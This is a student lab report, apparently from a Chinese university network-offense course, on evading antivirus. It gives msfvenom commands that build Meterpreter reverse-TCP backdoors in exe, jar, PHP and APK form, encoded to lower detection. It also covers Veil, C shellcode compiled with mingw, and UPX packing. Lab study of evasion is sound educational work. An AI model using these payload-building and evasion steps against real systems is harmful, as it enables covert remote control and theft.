2019-2020-2 20175228李玥琛《网络对抗技术》Exp3 免杀原理与实践
1. 实践内容
1.1 方法
- 正确使用msf编码器
在实验二中已经生成了未经编码处理exe类型的后门程序,将其放到VirusTotal中查看结果:
接下来用msf编码器对后门程序进行一次到多次的编码,并进行检测,生成一次编码的后门程序:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.62.128 LPORT=5228 -f exe > exp3.exe
检测:
生成十次编码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.62.128 LPORT=5228 -f exe > 5228encoded10.exe
检测:
可见虽然检测概率降低,但还是会被杀软检测出来。
- msfvenom生成如jar之类的其他文件
生成jar文件:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.62.128 LPORT=5228 x > 20175228jar.jar
可以看到检测出的概率明显降低。
生成php文件:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.62.128 LPORT=5228 x > 20175228php.php
可以看到php文件的概率就直接到了3/59。
生成apk文件:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.62.128 LPORT=5228 x > 20175228apk.apk
- veil
安装veil:
sudo apt-get install libncurses5* sudo apt-get install libavutil55* sudo apt-get install gcc-mingw-w64* sudo apt-get install wine32 sudo apt-get update
安装wine32时出现如下问题:
要在sudo下执行以下指令:
mkdir -p ~/.cache/wine cd ~/.cache/wine wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
然后安装veil
运行veil,输入use evasion:
输入use c/meterpreter/rev_tcp.py进入配置页面
设置反弹连接IP和端口:
使用generate生成文件
检测:
可以看到即使安装veil很困难,但结果还是不让人满意。
- 使用C + shellcode编程
使用下面的指令生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.62.128 LPORT=5228 -f c
创建20175228.c,将buf添加到代码中
使用下面的指令生成可执行文件:
i686-w64-mingw32-gcc 20175317.c -o 20175228.exe
检测:
- 加壳工具
使用下面的命令对20175228.exe加壳
upx 20175317.exe -o 20175317pro.exe
检测:
-课堂未介绍的其他方法
检测:
1.2 通过组合应用各种技术实现恶意代码免杀
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
嵌入式Shellcode,手动实现Shellcode的加载工作,只生成shellcode,而不是完整的可执行文件,降低VirusTotal的命中率;使用msf生成一段shellcode,再将其写入shellcode中。结合压缩壳达到了初步免杀的目的
检测:
2.1.基础问题回答
(1)杀软是如何检测出恶意代码的?
基于特征码的检测:通过检测一个可执行文件是否包含一段或多段符合特征的数据来判断是否是恶意代码
启发式恶意软件检测:如果一个可执行文件含有某些片面特征就认为是恶意软件,通常缺乏精确判断依据
基于行为的恶意检测:相当于是启发式的一种,或者说是加入了行为监控的启发式;让软件运行,记录其行为并分析
(2)免杀是做什么?
使用一些技术手段对恶意代码进行包裹伪装,使得杀软不能检测出恶意软件。
(3)免杀的基本方法有哪些?
改变特征码;改变行为。
2.2.实践总结与体会
如果不是这次实验让我认识到有些病毒、木马是杀软也检测不到的,那我可能会过分依赖于杀软了,觉得只要电脑有杀软,就是没有任何漏洞的。还有这次veil的安装,也费了老鼻子劲,安装wine32就花了四个多小时,结果检测结果还是不如人意。
2.3.开启杀软能绝对防止电脑中恶意代码吗?
并不能,看看我们的实验就知道,高明的伪装是会欺骗过杀软的。